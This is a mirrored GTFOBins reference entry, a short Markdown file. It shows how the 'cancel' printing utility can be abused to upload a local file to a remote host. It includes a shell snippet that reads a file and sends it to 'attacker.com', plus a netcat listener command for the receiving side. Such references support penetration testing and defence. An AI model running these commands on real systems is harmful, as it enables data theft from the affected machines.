1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-10-18 05:18:13 +02:00
GTFOBins.github.io/_gtfobins/cancel.md

11 lines
318 B
Markdown
Raw Normal View History

2018-12-31 09:38:20 +01:00
---
functions:
file-upload:
- description: Send contents of a file to a TCP port. Run `nc -nlvp $RPORT > "file to save"` on the attacker system to capture the contents.
code: |
RHOST=attacker.com
RPORT=12345
LFILE=file_to_send
cancel -u "$(cat $LFILE)" -h $RHOST:$RPORT
---